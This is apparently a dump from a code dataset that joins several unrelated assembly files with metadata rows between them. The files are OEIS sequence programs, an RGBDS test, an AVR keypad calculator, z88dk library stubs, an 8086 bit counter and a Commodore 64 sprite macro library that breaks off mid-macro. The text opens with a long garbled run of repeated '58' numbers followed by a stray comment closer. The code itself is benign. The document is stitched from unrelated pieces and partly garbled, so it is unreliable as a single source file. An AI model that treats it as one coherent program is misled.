58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
44.245614
2,999
0.663362
3d342ec2c25d0d88a91c12189edc4a485344a36c
318
asm
Assembly
programs/oeis/002/A002450.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/002/A002450.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/002/A002450.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A002450: a(n) = (4^n - 1)/3. ; 0,1,5,21,85,341,1365,5461,21845,87381,349525,1398101,5592405,22369621,89478485,357913941,1431655765,5726623061,22906492245,91625968981,366503875925,1466015503701,5864062014805,23456248059221,93824992236885,375299968947541,1501199875790165,6004799503160661 mov $1,4 pow $1,$0 div $1,3
45.428571
257
0.805031
78ce9850e5fc991411a506185b086f0289df6f95
76
asm
Assembly
test/asm/jr-section.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
522
2017-02-25T21:10:13.000Z
2020-09-13T14:26:18.000Z
test/asm/jr-section.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
405
2017-02-25T21:32:37.000Z
2020-09-13T16:43:29.000Z
test/asm/jr-section.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
84
2017-02-25T21:10:26.000Z
2020-09-13T14:28:25.000Z
SECTION "Test", ROM0 Label: jr Label DIFF equ Label - @ PRINTLN "{DIFF}"
10.857143
20
0.657895
4cacde7337c4dc1e5b499888786637c63b1a53b7
3,941
asm
Assembly
AVR_Calculator_Fase2/main.asm
HamidNE1/AVR_Calculator_Fase2
b609047b5c1caa0473016e9f7b5fff5d4211bb5d
[ "MIT" ]
null
null
null
AVR_Calculator_Fase2/main.asm
HamidNE1/AVR_Calculator_Fase2
b609047b5c1caa0473016e9f7b5fff5d4211bb5d
[ "MIT" ]
null
null
null
AVR_Calculator_Fase2/main.asm
HamidNE1/AVR_Calculator_Fase2
b609047b5c1caa0473016e9f7b5fff5d4211bb5d
[ "MIT" ]
null
null
null
LDI R16,LOW(RAMEND) OUT SPL,R16 LDI R16,HIGH(RAMEND) OUT SPH,R16 LDI R16,0XFF OUT DDRC,R16// OUT DDRA,R16 OUT DDRA,R16// LDI R16,0XF0 OUT DDRD,R16 OUT PORTD,R16 L10: LDI R21,0 LDI R22,0 LDI R23,0 LDI R24,0 LDI R25,1 L0: CALL REFRESH CALL DELAY CALL READ_KEY CPI R16,100 BREQ L0 ///////////////CHECK KEY IF KEY IS + CPI R16,15 BREQ L14 JMP L15 L14: MOV R30,R24 MOV R29,R23 MOV R28,R22 MOV R27,R21 CALL HAND_UP JMP L10 ///////////////////////////////// L15: ///////CHECK KEY IF KEY IS = CPI R16,11 BREQ L16 JMP L17 L16: /*MOV R21, R27 MOV R22, R28 MOV R23, R29 MOV R24, R30*/ CLC ADC R21,R27 CPI R21,10 BRLO L21 SUBI R21,10 SEC JMP L212 L21: CLC L212:ADC R22,R28 CPI R22,10 BRLO L18 SUBI R22,10 SEC JMP L22 L18: CLC L22: ADC R23,R29 CPI R23,10 BRLO L19 SUBI R23,10 SEC JMP L23 L19: CLC L23: ADC R24,R30 CPI R24,10 BRLO L20 SUBI R24,10 SEC L20: CALL HAND_UP JMP L0 /////////////////////// L17: MOV R24,R23 MOV R23,R22 MOV R22,R21 MOV R21,R16 CALL HAND_UP JMP L0 ;============================================================== HAND_UP: HU0: CALL READ_KEY CPI R16,100 BRNE HU0 CALL DELAY HU1: CALL READ_KEY CPI R16,100 BRNE HU1 RET ;============================================================== READ_KEY: ;-----FOR COL 1 LDI R16,0B11101111 OUT PORTD,R16 NOP LDI R16,100 SBIS PIND,0// LDI R16,1 SBIS PIND,1// LDI R16,4 SBIS PIND,2 LDI R16,7 SBIS PIND,3 LDI R16,10 CPI R16,100 BRNE RK_RET ;-----FOR COL 2 LDI R16,0B11011111 OUT PORTD,R16 NOP LDI R16,100 SBIS PIND,0 LDI R16,2 SBIS PIND,1 LDI R16,5 SBIS PIND,2 LDI R16,8 SBIS PIND,3 LDI R16,0 CPI R16,100 BRNE RK_RET ;-----FOR COL 3 LDI R16,0B10111111 OUT PORTD,R16 NOP LDI R16,100 SBIS PIND,0 LDI R16,3 SBIS PIND,1 LDI R16,6 SBIS PIND,2 LDI R16,9 SBIS PIND,3 LDI R16,11 //11 for = CPI R16,100 BRNE RK_RET ;-----FOR COL 4 LDI R16,0B01111111 OUT PORTD,R16 NOP LDI R16,100 SBIS PIND,0 LDI R16,12 // 12 for / SBIS PIND,1 LDI R16,13 // 13 for * SBIS PIND,2 LDI R16,14 //14 for - SBIS PIND,3 LDI R16,15 //15 for + CPI R16,100 BRNE RK_RET RK_RET: RET ;============================================================== REFRESH: LDI R16,0B11111111 OUT PORTC,R16// CPI R25,1 BRNE REF2 MOV R16,R21 CALL CONVERT_CODE_FOR_SEGMENT OUT PORTA,R16// LDI R16,0B01111111 OUT PORTC,R16// INC R25 JMP REF_RET REF2: CPI R25,2 BRNE REF3 MOV R16,R22 CALL CONVERT_CODE_FOR_SEGMENT OUT PORTA,R16// LDI R16,0B10111111 OUT PORTC,R16// INC R25 JMP REF_RET REF3: CPI R25,3 BRNE REF4 MOV R16,R23 CALL CONVERT_CODE_FOR_SEGMENT OUT PORTA,R16// LDI R16,0B11011111 OUT PORTC,R16// INC R25 JMP REF_RET REF4: MOV R16,R24 CALL CONVERT_CODE_FOR_SEGMENT OUT PORTA,R16// LDI R16,0B11101111 OUT PORTC,R16// LDI R25,1 JMP REF_RET REF_RET: RET ;============================================================== CONVERT_CODE_FOR_SEGMENT: CPI R16,00 BRNE CF7S00 LDI R16,0B00111111 JMP FOR_RET CF7S00: CPI R16,01 BRNE CF7S01 LDI R16,0B00000110 JMP FOR_RET CF7S01: CPI R16,02 BRNE CF7S02 LDI R16,0B1011011 JMP FOR_RET CF7S02: CPI R16,03 BRNE CF7S03 LDI R16,0B1001111 JMP FOR_RET CF7S03: CPI R16,04 BRNE CF7S04 LDI R16,0B1100110 JMP FOR_RET CF7S04: CPI R16,05 BRNE CF7S05 LDI R16,0B1101101 JMP FOR_RET CF7S05: CPI R16,06 BRNE CF7S06 LDI R16,0B1111101 JMP FOR_RET CF7S06: CPI R16,07 BRNE CF7S07 LDI R16,0B0000111 JMP FOR_RET CF7S07: CPI R16,8 BRNE CF7S08 LDI R16,0B1111111 JMP FOR_RET CF7S08: CPI R16,9 BRNE CF7S09 LDI R16,0B1100111 JMP FOR_RET CF7S09: FOR_RET: RET ;============================================================== DELAY: PUSH R17 PUSH R18 PUSH R19 LDI R19,5 D0: LDI R18,20 D1: LDI R17,250 D2: NOP DEC R17 BRNE D2 DEC R18 BRNE D1 DEC R19 BRNE D0 POP R19 POP R18 POP R17 RET
12.051988
63
0.607968
7e747207487f034a84d464339bc304105de96e72
482
asm
Assembly
libsrc/_DEVELOPMENT/stdlib/c/sccz80/atoll_callee.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/stdlib/c/sccz80/atoll_callee.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/stdlib/c/sccz80/atoll_callee.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; long long atoll(const char *buf) SECTION code_clib SECTION code_stdlib PUBLIC atoll_callee EXTERN asm_atoll, l_store_64_dehldehl_mbc atoll_callee: pop hl pop bc ex (sp),hl push ix push bc ; save result * call asm_atoll pop bc ; bc = result * pop ix jp l_store_64_dehldehl_mbc ; store result ; SDCC bridge for Classic IF __CLASSIC PUBLIC _atoll_callee defc _atoll_callee = atoll_callee ENDIF
15.0625
46
0.655602
cf1f6bf4cac30169b9b108baea7a80bbb878dc5d
233
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/misc/c/sdcc_iy/sms_cxy2saddr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/misc/c/sdcc_iy/sms_cxy2saddr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/misc/c/sdcc_iy/sms_cxy2saddr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; unsigned int sms_cxy2saddr(unsigned char x, unsigned char y) SECTION code_clib SECTION code_arch PUBLIC _sms_cxy2saddr_callee EXTERN asm_sms_cxy2saddr _sms_cxy2saddr_callee: pop hl ex (sp),hl jp asm_sms_cxy2saddr
14.5625
62
0.785408
0ae8ff37b86c1b42df153d2bdd5c529829459767
103
asm
Assembly
Assembler/AssemblyCode/TTL/ADD1.asm
KPU-RISC/KPU
9f85c322e1b8489eef31f0696799e0c6c7273c0e
[ "MIT" ]
8
2017-04-16T16:53:03.000Z
2021-09-14T22:29:28.000Z
Assembler/AssemblyCode/TTL/ADD1.asm
KPU-RISC/KPU
9f85c322e1b8489eef31f0696799e0c6c7273c0e
[ "MIT" ]
null
null
null
Assembler/AssemblyCode/TTL/ADD1.asm
KPU-RISC/KPU
9f85c322e1b8489eef31f0696799e0c6c7273c0e
[ "MIT" ]
null
null
null
XOR D, D XOR E, E ; 89 MOV D, 01011001b ; 23 MOV E, 00010111b ; D contains 112 (01110000b) ADD D, E
8.583333
28
0.640777
5a295324d204b3e33d4914d26164a89ccb7bdba9
708
asm
Assembly
oeis/143/A143125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/143/A143125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/143/A143125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A143125: Sum {j=1..n} j*A001462(j). ; Submitted by Christian Krause ; 1,5,11,23,38,62,90,122,167,217,272,344,422,506 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $9,$0 mov $10,0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 mov $6,0 sub $11,1 sub $0,$11 mov $5,$0 mov $7,2 lpb $7 mov $0,$5 sub $7,1 add $0,$7 trn $0,1 add $0,1 mov $1,$0 seq $1,5041 ; A self-generating sequence. add $1,270 mul $1,$0 mov $0,$1 mov $8,$7 mul $8,$1 add $6,$8 lpe min $5,1 mul $5,$0 mov $0,$6 sub $0,$5 sub $0,270 add $10,$0 lpe add $3,$10 lpe mov $0,$3
14.75
48
0.45904
bcdb7b2469bf904bb91176ddf925f74551ba7fd0
154
asm
Assembly
Source Codes/No of 1s.asm
kaazima/Emulator-8086
2137954ecd35418b3720ac32e2577c7191006947
[ "MIT" ]
null
null
null
Source Codes/No of 1s.asm
kaazima/Emulator-8086
2137954ecd35418b3720ac32e2577c7191006947
[ "MIT" ]
null
null
null
Source Codes/No of 1s.asm
kaazima/Emulator-8086
2137954ecd35418b3720ac32e2577c7191006947
[ "MIT" ]
null
null
null
.MODEL small .STACK .DATA num db 11h .CODE .STARTUP mov bl,00h mov al,num mov cx,0008h loop1: rcl al,1 ja next inc bl next: loop loop1 .EXIT end
9.625
16
0.688312
e74d76c55aed7dc18b70e1616287225ddd17abb4
23,989
asm
Assembly
nv_sprite_raw_macs.asm
nealvis/nv_c64_util
29727af8d7b77445cff4ce9c66162ce28a0f54a0
[ "MIT" ]
null
null
null
nv_sprite_raw_macs.asm
nealvis/nv_c64_util
29727af8d7b77445cff4ce9c66162ce28a0f54a0
[ "MIT" ]
null
null
null
nv_sprite_raw_macs.asm
nealvis/nv_c64_util
29727af8d7b77445cff4ce9c66162ce28a0f54a0
[ "MIT" ]
null
null
null
////////////////////////////////////////////////////////////////////////////// // nv_sprite_raw_macs.asm // Copyright(c) 2021 Neal Smith. // License: MIT. See LICENSE file in root directory. ////////////////////////////////////////////////////////////////////////////// // contains macros for sprites at the HW level // there is no dependency on the sprite_info struct or the sprite // extra data block in this file. // Also there is no actual code that will be placed in memory // by importing this file. The only time code is generated is // when one of the macros are expanded/instantiated in some other file. ////////////////////////////////////////////////////////////////////////////// // Import other modules as needed here #importonce #if !NV_C64_UTIL_DATA .error "Error - nv_sprite_raw_macs.asm: NV_C64_UTIL_DATA not defined. Import nv_c64_util_data.asm" #endif // the #if above doesn't seem to always work so.. // if data hasn't been imported yet, import it into default location #importif !NV_C64_UTIL_DATA "nv_c64_util_default_data.asm" #import "nv_math8_macs.asm" #import "nv_math16_macs.asm" #import "nv_branch16_macs.asm" // HW reg/address that // contains a bit for each sprite indicating if it // has been in a collisin with another sprite .const NV_SPRITE_COLLISION_SPRITE_REG_ADDR = $d01e // HW reg/address that // contains a bit for each sprite indicating if it // has been in a collisin with a text or bitmap graphics .const NV_SPRITE_COLLISION_DATA_REG_ADDR = $d01f // HW reg/address of color for sprite bits that are binary 01 .const NV_SPRITE_COLOR_1_REG_ADDR = $D025 // HW reg/address of color for sprite bits that are binary 11 .const NV_SPRITE_COLOR_2_REG_ADDR = $D026 // register with one bit for each sprite to indicate high res (one color) // or multi color. Bit 0 (lsb) corresponds to sprite 0 // set bit to 1 for multi color, or 0 for high res (one color mode) .const NV_SPRITE_MODE_REG_ADDR = $D01C // HW Reg/address of the pointer to sprite 0's shape data. Its only 8 bits // so its implied that this value will be multipled by 64 to find the actual // address in memory. // Note the HW Reg/address of the pointer to sprite 1-7 shape data follow // NV_SPRITE_0_DATA_PTR_ADDR in the next 7 bytes. each "pointer" is only // 8 bits so one byte per pointer. For example sprite 1's shape data pointer // is in NV_SPRITE_0_DATA_PTR_ADDR+1 which is $07F9. These are usually // accessed relative to the ptr for sprite 0 so no need for more consts .const NV_SPRITE_0_DATA_PTR_REG_ADDR = $07F8 // if we wanted consts for each sprite they would continue here as such // .const NV_SPRITE_1_DATA_PTR_ADDR = $07F9 // HW Reg/address the low 4 bits (0-3) contain the color for sprite 0 // the hi 4 bits don't seem to be writable .const NV_SPRITE_0_COLOR_REG_ADDR = $d027 // each bit enables/disables one of the sprites. the least significant bit // is sprite 0, msb is sprite 7 etc. .const NV_SPRITE_ENABLE_REG_ADDR = $d015 // HW Reg/addresses for the the X and Y positions for sprite 0. For the // X location this address only contains the lower 8 bits. There is one // high bit for each sprite's x location that is gathered in // NV_SPRITE_ALL_X_HIGH_BIT_ADDR. The Y locations are only 8 bit values // so they are all in one byte. // Note that sprite num 1-7 X and Y positions follow sprite 0 within // memory/HW regs so sprite 1 locations are here, and sprite 2 locations // follow these, etc. We only really need sprite 0 location since sprite // locations are usually accessed relative to sprite 0. .const NV_SPRITE_0_X_REG_ADDR = $D000 .const NV_SPRITE_0_Y_REG_ADDR = $D001 // If we wanted consts for X and Y for sprites 1-7 they would continue // here as such //.const NV_SPRITE_1_X_ADDR = $D002 //.const NV_SPRITE_1_Y_ADDR = $D003 // since there are more than 255 x locations across the screen // the high bit for each sprite's X location is gathered in the // byte here. sprite_0's ninth bit is bit 0 of the byte at this addr. .const NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR = $D010 // the low 4 bits (0-3) contain the color for sprite 1 // the hi 4 bits don't seem to be writable .const NV_SPRITE_1_COLOR_REG_ADDR = $d028 ////////////////////////////////////////////////////////////////////////////// // Inline macro (no rts) to setup everything for a sprite so its ready to // be enabled and moved. // Macro params: // sprite_num: is the number of the sprite to setup (0-7 only) // sprite_data_addr: is the address where the 64 bytes of data for the // sprite are stored. This is the real address it will // be divided by 64 prior to setting in the sprite register. .macro nv_sprite_raw_setup(sprite_num, sprite_data_addr) { nv_sprite_raw_set_mode(sprite_num, sprite_data_addr) nv_sprite_raw_set_data_ptr(sprite_num, sprite_data_addr) nv_sprite_raw_set_color_from_data(sprite_num, sprite_data_addr) } ////////////////////////////////////////////////////////////////////////////// // inline macro for subroutine (with rts) to setup everything for a sprite such // that its ready to be enabled and moved .macro nv_sprite_raw_setup_sr(sprite_num, sprite_data_addr) { nv_sprite_raw_setup(sprite_num, sprite_data_addr) rts } ////////////////////////////////////////////////////////////////////////////// // inline macro to enable the specified sprite. If a sprite is not enabled // it won't be visible on the screen. // macro parameters: // sprite_num is the sprite number to enable (value must be 0-7) .macro nv_sprite_raw_enable(sprite_num) { .var sprite_mask = $01 << sprite_num lda NV_SPRITE_ENABLE_REG_ADDR // load A with sprite enabled reg ora #sprite_mask // set the bit for sprite 0, // Leaving other bits untouched sta NV_SPRITE_ENABLE_REG_ADDR // store to sprite enable register // one bit for each sprite. } ////////////////////////////////////////////////////////////////////////////// // subroutine macro to enable the specified sprite. if the sprite is not // enabled it won't be visible on the screen // macro parameters: // sprite_num is the sprite number to enable (value must be 0-7) .macro nv_sprite_raw_enable_sr(sprite_num) { nv_sprite_raw_enable(sprite_num) rts } ////////////////////////////////////////////////////////////////////////////// // inline macro to enable a sprite specified by the sprite number found // in a byte in memory. // Macro params: // spt_num_addr: is the addres of a byte in memory that contains the // number of the sprite to enable. It must be 0-7 only. .macro nv_sprite_raw_enable_from_mem(spt_num_addr) { nv_create_bitmask8x_mem_a(spt_num_addr, false) // mask is now in Accum ora NV_SPRITE_ENABLE_REG_ADDR sta NV_SPRITE_ENABLE_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // Disable the sprite specified (0-7) in the sprite hw register // Macro parameters: // spt_num_addr: is the address of the byte that contains the // sprite number (0-7) that will be disabled .macro nv_sprite_raw_disable_from_mem(spt_num_addr) { nv_create_bitmask8x_mem_a(spt_num_addr, true) // negated mask now in accum and NV_SPRITE_ENABLE_REG_ADDR sta NV_SPRITE_ENABLE_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // macro to disable a specified sprite // Subroutine params: // Accum: set to the sprite number for the sprite to be dissabled // .macro nv_sprite_raw_disable_from_reg() { // change sprite number to negated sprite mask nv_create_bitmask8x_a(true) // negated mask now in accum and NV_SPRITE_ENABLE_REG_ADDR // store back in HW Reg with the bit cleared for this sprite sta NV_SPRITE_ENABLE_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // macro to disable a specified sprite // Subroutine params: // Accum: set to the sprite number for the sprite to be dissabled // .macro nv_sprite_raw_enable_from_reg() { // change sprite number to negated sprite mask nv_create_bitmask8x_a(false) // negated mask now in accum ora NV_SPRITE_ENABLE_REG_ADDR // store back in HW Reg with the bit cleared for this sprite sta NV_SPRITE_ENABLE_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // inline Macro to set the sprite's one color // sprite_num: is the sprite number (0-7 are valid values) // sprite_data_addr: is the address where the 64 bytes of data for the // sprite are stored. The last byte contains the sprite // color in the low nibble. .macro nv_sprite_raw_set_color_from_data(sprite_num, sprite_data_addr) { lda sprite_data_addr + 63 // The color is the low nibble of the // last byte of sprite. We'll just // write the whole byte because the // only lo 4 bits of reg are writable ldx #sprite_num sta NV_SPRITE_0_COLOR_REG_ADDR,x // store in color reg for this sprite } ////////////////////////////////////////////////////////////////////////////// // set sprite's color to the color to the immediate value specified // macro params: // sprite_num: the c64 sprite number (0-7 are valid) // new_color: a number 0-7 specifying which c64 color to set .macro nv_sprite_set_raw_color_immed(sprite_num, new_color) { lda #new_color // The color is the low nibble of the // byte. We'll just write the whole // byte because only low 4 bits of // the register are writable ldx #sprite_num sta NV_SPRITE_0_COLOR_REG_ADDR,x // store in color reg for this sprite } ////////////////////////////////////////////////////////////////////////////// // set sprite's color to the c64 color value stored at an address // macro params: // sprite_num: the c64 sprite number (0-7 are valid) // new_color_addr: The 16bit address of a location that contains a // number 0-7 specifying which c64 color to set .macro nv_sprite_raw_set_color_from_memory(sprite_num, new_color_addr) { lda new_color_addr // The color is the low nibble of the // byte. We'll just write the whole // byte because only low 4 bits of // the register are writable ldx #sprite_num sta NV_SPRITE_0_COLOR_REG_ADDR,x // store in color reg for this sprite } ////////////////////////////////////////////////////////////////////////////// // inline macro to read the sprite/sprite collision register .macro nv_sprite_raw_get_sprite_collisions_in_a() { lda NV_SPRITE_COLLISION_SPRITE_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // inline macro to read the sprite/data collision register .macro nv_sprite_raw_get_data_collisions_in_a() { lda NV_SPRITE_COLLISION_DATA_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // inline macro to set the shared colors for multi colored sprites .macro nv_sprite_raw_set_multicolors(color1, color2) { lda #color1 // multicolor sprites global color 1 sta NV_SPRITE_COLOR_1_REG_ADDR // can also get this from spritemate lda #color2 // multicolor sprites global color 2 sta NV_SPRITE_COLOR_2_REG_ADDR } ////////////////////////////////////////////////////////////////////////////// // Inline macro to set the sprite mode for specified sprite. // macro params: // sprite_num: the sprite number, 0-7 are valid values // sprite_data_addr: the address of the 64 bytes of sprite // data. The last byte contains the mode // in its high nibble. if any of the four // bits in the high nibble are set then // the sprite is multi color (low res). If // no bits in the high nibble are set then // its hi res (single color) .macro nv_sprite_raw_set_mode(sprite_num, sprite_data_addr) { .var sprite_mask = $01 << sprite_num .var not_sprite_mask = ~sprite_mask lda NV_SPRITE_MODE_REG_ADDR // load sprite mode reg and #not_sprite_mask // clear bit 0 for sprite 0 sta NV_SPRITE_MODE_REG_ADDR // store it back to sprite mode reg lda #$F0 // load mask in A, checking for any ones in high nibble bit sprite_data_addr + 63 // set Zero flag if the masked bits are all 0s // if any masked bits in the last byte of sprite_0 are set // then its a multi colored sprite beq SkipMulticolor // if its zero then, ie no masked bits were set, then branch // to skip multi color mode. // If we didn't skip the multi color, then set sprite 0 to muli color mode lda NV_SPRITE_MODE_REG_ADDR // load current contents of sprite mode reg ora #sprite_mask // set bit for sprite 0 (bit 0) to 1 for multi color sta NV_SPRITE_MODE_REG_ADDR // leave other bits untouched for sprites 1-7 SkipMulticolor: } ////////////////////////////////////////////////////////////////////////////// // inline macro to set the pixel data pointer for the sprite. // macro parameters: // sprite_num: is the sprite number, 0-7 are valid values // sprite_data_addr: is the address where the 64 bytes of data for the // sprite are stored. This is the real address it will // be divided by 64 prior to setting in the sprite register. .macro nv_sprite_raw_set_data_ptr(sprite_num, sprite_data_addr) { lda #(sprite_data_addr / 64) // implied this is multiplied by 64 ldx #sprite_num sta NV_SPRITE_0_DATA_PTR_REG_ADDR,x // store in ptr for this sprite } ////////////////////////////////////////////////////////////////////////////// // Inline macro to set the x and y location of specified sprite // based on macro parameters known at assemble time // This routine directly updates the sprite registers for the sprite and is // not connected to any sprite struct // macro params: // sprite_num: the sprite number (0-7 are valid) // sprite_x: the sprite x location (this can be larger than 255) // sprite_y: the sprite y location this is only 0-255 .macro nv_sprite_raw_set_loc(sprite_num, sprite_x, sprite_y) { ldx #sprite_num * 2 // sprite number times 2 since location // regs are in pairs, x loc and y loc // for each sprite. lda #sprite_x // load LSB for x location sta NV_SPRITE_0_X_REG_ADDR,x // store in right sprite's x loc lda #sprite_y sta NV_SPRITE_0_Y_REG_ADDR,x // store in right sprites y loc .var sprite_mask = $01 << sprite_num .if (sprite_x > 255) { lda NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR ora #sprite_mask sta NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR } .if (sprite_x <= 255) { .var not_sprite_mask = ~sprite_mask lda NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR and #not_sprite_mask sta NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR } } ////////////////////////////////////////////////////////////////////////////// // inline macro to get the specified sprite's x and y position. // macro parameters: // sprite_num: must be set to the number of the sprite 0-7 // sprite_x_addr: is the address of the LSB of a 16 bit word to get x pos // sprite_y_addr: is the address of the byte to get the y position .macro nv_sprite_raw_get_location(sprite_num, sprite_x_addr, sprite_y_addr) { ldx #(sprite_num*2) // load x with offset to sprite location for this sprite lda NV_SPRITE_0_X_REG_ADDR,x // load in right sprite's x loc low 8 bits sta sprite_x_addr // store in the memory addr lda NV_SPRITE_0_Y_REG_ADDR,x // load in right sprites y loc sta sprite_y_addr .var sprite_mask = $01 << sprite_num lda #0 sta sprite_x_addr+1 lda #sprite_mask bit NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR beq StayClear inc sprite_x_addr+1 StayClear: } ////////////////////////////////////////////////////////////////////////////// // subroutine macro to get the location of specified sprite and // putting it in the memory locations specified // macro parameters // sprite_num: must be set to the number of the sprite 0-7 // sprite_x_addr: is the address of the LSB of a 16 bit word to get x pos // sprite_y_addr: is the address of the byte to get the y position .macro nv_sprite_raw_get_location_sr(sprite_num, sprite_x_addr, sprite_y_addr) { nv_sprite_raw_get_location(sprite_num, sprite_x_addr, sprite_y_addr) rts } ////////////////////////////////////////////////////////////////////////////// // inline macro to get the location of a sprite and put it in memory // subroutine parameters: // Y Reg: must contain the sprite number (0-7) of the sprite who's // location will be retrieved // macro parameters: // sprite_x_addr: is the address of the LSB of a word into which the // sprite's x position will be placed // sprite_y_addr: is the address of the LSB of a word into which the // sprite's y position will be placed .macro nv_sprite_raw_get_loc_reg(sprite_x_addr, sprite_y_addr) { // multiply sprite num by 2 since two byte for each sprite (x and y) // load x with offset to sprite location for this sprite tya asl tax lda NV_SPRITE_0_X_REG_ADDR,x // load in right sprite's x loc low 8 bits sta sprite_x_addr // store in the memory addr lda NV_SPRITE_0_Y_REG_ADDR,x // load in right sprites y loc sta sprite_y_addr lda #0 // clear the high bit in mem sta sprite_x_addr+1 // if it needs to be set, do that below tya // sprite number in Accum nv_create_bitmask8x_a(false) // bitmask for sprite num in Accum bit NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR // check sprite's high bit beq StayClear // if hi bit 0 then done inc sprite_x_addr+1 // if hi bit 1 then set it in mem StayClear: } ////////////////////////////////////////////////////////////////////////////// // subroutine macro to set sprite's location in the sprite registers based on // the values in the sprite_x_addr and sprite_y_addr. // macro parmaeters: // sprite_num: the sprite number (0-7 are valid sprite numbers) // sprite_x_addr: the address of the LSB of the word that holds the 16 bit // value which is the sprites x location // sprite_y_addr: the address of the byte that holds the sprite's 8 bit // y location .macro nv_sprite_raw_set_location_from_memory_sr(sprite_num, sprite_x_addr, sprite_y_addr) { ldx #(sprite_num*2) // load x with offset to sprite location for this sprite lda sprite_x_addr sta NV_SPRITE_0_X_REG_ADDR,x // store in right sprite's x loc lda sprite_y_addr sta NV_SPRITE_0_Y_REG_ADDR,x // store in right sprites y loc .var sprite_mask = $01 << sprite_num lda sprite_x_addr+1 bne SetBit // high byte was non zero, so set bit // clear bit .var not_sprite_mask = ~sprite_mask lda NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR and #not_sprite_mask sta NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR rts SetBit: lda NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR ora #sprite_mask sta NV_SPRITE_ALL_X_HIGH_BIT_REG_ADDR rts } ////////////////////////////////////////////////////////////////////////////// // macro to get relative distance between two sprites // the word (16 bit) whose LSB is at rel_dist_addr will return the distance // between the two sprites .macro nv_sprite_raw_get_relative_distance(spt_num_a, spt_num_b, rel_dist_addr) { .label temp_x_dist = nv_a16 .label temp_y_dist = nv_b16 .label temp_x_a = nv_c16 .label temp_y_a = nv_d16 .label temp_x_b = nv_e16 .label temp_y_b = nv_f16 // clear the MSB of our temps lda #0 sta temp_y_a+1 sta temp_y_b+1 //nv_sprite_raw_get_location(spt_num_a, temp_x_a, temp_y_a) //nv_screen_plot_cursor(24, 0) //nv_screen_print_string_basic(blank_str) 